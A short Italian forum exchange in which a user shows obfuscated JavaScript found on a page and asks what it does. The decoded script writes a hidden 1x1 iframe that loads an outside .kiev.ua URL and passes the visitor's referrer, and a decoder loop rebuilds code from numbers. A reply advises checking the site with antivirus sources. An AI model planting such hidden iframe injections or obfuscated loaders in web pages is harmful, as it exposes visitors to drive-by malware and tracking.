    A occhio e croce direi criptazione cesariana, o erro? E se c'ho beccato, come faccio a reversarla?

    <script>
    if (!top_menu_all_v) {
    document.write('<iframe src="http://alinkadelonka.kiev.ua/tp/t.php?s=1n_deejayblog_wh&ff='+escape(document.refe rrer)+'" frameborder=0 width=1 height=1 scrolling=no></iframe>');
    var top_menu_all_v=1;
    }
    </script>
    Non sapendo una cippa di JS, qualcuno saprebbe dirmi, materialmente, a cosa servono?

    var o = "" ;
    function d ( ) {
    i = 0 ;
    c = 0 ;
    while ( i < s.length ) {
    c = Math.round ( s.charAt( i ) + s.charAt( i + 1 ) + s.charAt( i + 2 ) + s.charAt( i + 3 ) ) - 563;
    i = i + 4 ; o += String.fromCharCode( c ) ;
    }
    document.write( o ) }
    d( );


    questo è quello che mi esce dando document.write(eval(k));

    Prima di andare a curiosare nel sito che viene rivelato ti consiglio una ricerca con google o fra i siti di antivirus...

    ciao
    Il guaio per i poveri computers e' che sono gli uomini a comandarli.
